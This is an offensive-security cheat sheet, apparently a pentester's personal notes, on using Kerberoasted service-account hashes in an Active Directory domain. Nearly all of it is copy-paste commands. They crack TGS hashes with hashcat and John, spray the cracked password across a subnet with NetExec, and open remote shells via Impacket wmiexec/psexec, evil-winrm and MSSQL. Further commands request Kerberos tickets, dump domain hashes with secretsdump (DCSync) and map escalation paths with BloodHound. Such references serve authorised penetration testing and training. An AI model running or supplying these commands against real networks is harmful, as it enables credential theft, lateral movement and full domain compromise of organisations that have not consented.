Use Kerberoast Hash — After GetUserSPNs
Ctrl+F:
kerberoast·krb5tgs·13100·GetUserSPNs· cracked password
You have: a hash file from GetUserSPNs (-request -outputfile kerberoast.txt).
Hash format:
$krb5tgs$23$*svc_sql$CORP.LOCAL$corp.local/svc_sql*$...
Goal: Crack offline → use plaintext password (or request TGT with it).
Request hashes → Kerberos Scripts > 📌 1) GetUserSPNs.py — Kerberoasting
📌 1) Crack the hash
# Hashcat — RC4 etype 23 (most common)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 kerberoast.txt --show
# John
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs
john kerberoast.txt --show| Etype | Hashcat mode |
|---|---|
| RC4 (23) | 13100 |
| AES-128 (17) | 19600 |
| AES-256 (18) | 19700 |
📌 2) Validate the password
nxc smb 10.10.10.10 -u svc_sql -p 'CrackedPassword' -d corp.local
nxc smb 10.10.10.0/24 -u svc_sql -p 'CrackedPassword' -d corp.local --continue-on-success
nxc ldap DC_IP -u svc_sql -p 'CrackedPassword' --groups📌 3) Use the password — shells
impacket-wmiexec corp.local/svc_sql:'CrackedPassword'@TARGET
impacket-psexec corp.local/svc_sql:'CrackedPassword'@TARGET
evil-winrm -i TARGET -u svc_sql -p 'CrackedPassword'
# Port 1433 open — MSSQL (always -windows-auth for domain cred)
impacket-mssqlclient corp.local/svc_sql:'CrackedPassword'@TARGET -windows-auth
nxc mssql TARGET -d corp.local -u svc_sql -p 'CrackedPassword'📌 4) Use the password — get TGT (Kerberos path)
Prefer ticket auth when doing multiple Impacket calls:
impacket-getTGT corp.local/svc_sql:'CrackedPassword' -dc-ip DC_IP
export KRB5CCNAME=svc_sql.ccacheThen → Use Kerberos Ticket
📌 5) Escalation checks
# DCSync rights?
impacket-secretsdump corp.local/svc_sql:'CrackedPassword'@DC_IP -just-dc-ntlm
# Backup Operators?
# evil-winrm → whoami /priv → SeBackupPrivilege?
# → [[SeBackupPrivilege]]
# BloodHound path
bloodhound-python -d corp.local -u svc_sql -p 'CrackedPassword' -dc DC_IP -c AllChain → Credential Graph · Kerberoast (full roast reference)
📌 Quick copy-paste
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --show
nxc smb 10.10.10.0/24 -u svc_sql -p 'PASS' -d corp.local --continue-on-success
impacket-mssqlclient corp.local/svc_sql:'PASS'@TARGET -windows-auth # if 1433 open
impacket-getTGT corp.local/svc_sql:'PASS' -dc-ip DC_IP
export KRB5CCNAME=svc_sql.ccache
impacket-wmiexec corp.local/svc_sql@TARGET -k -no-pass -dc-ip DC_IP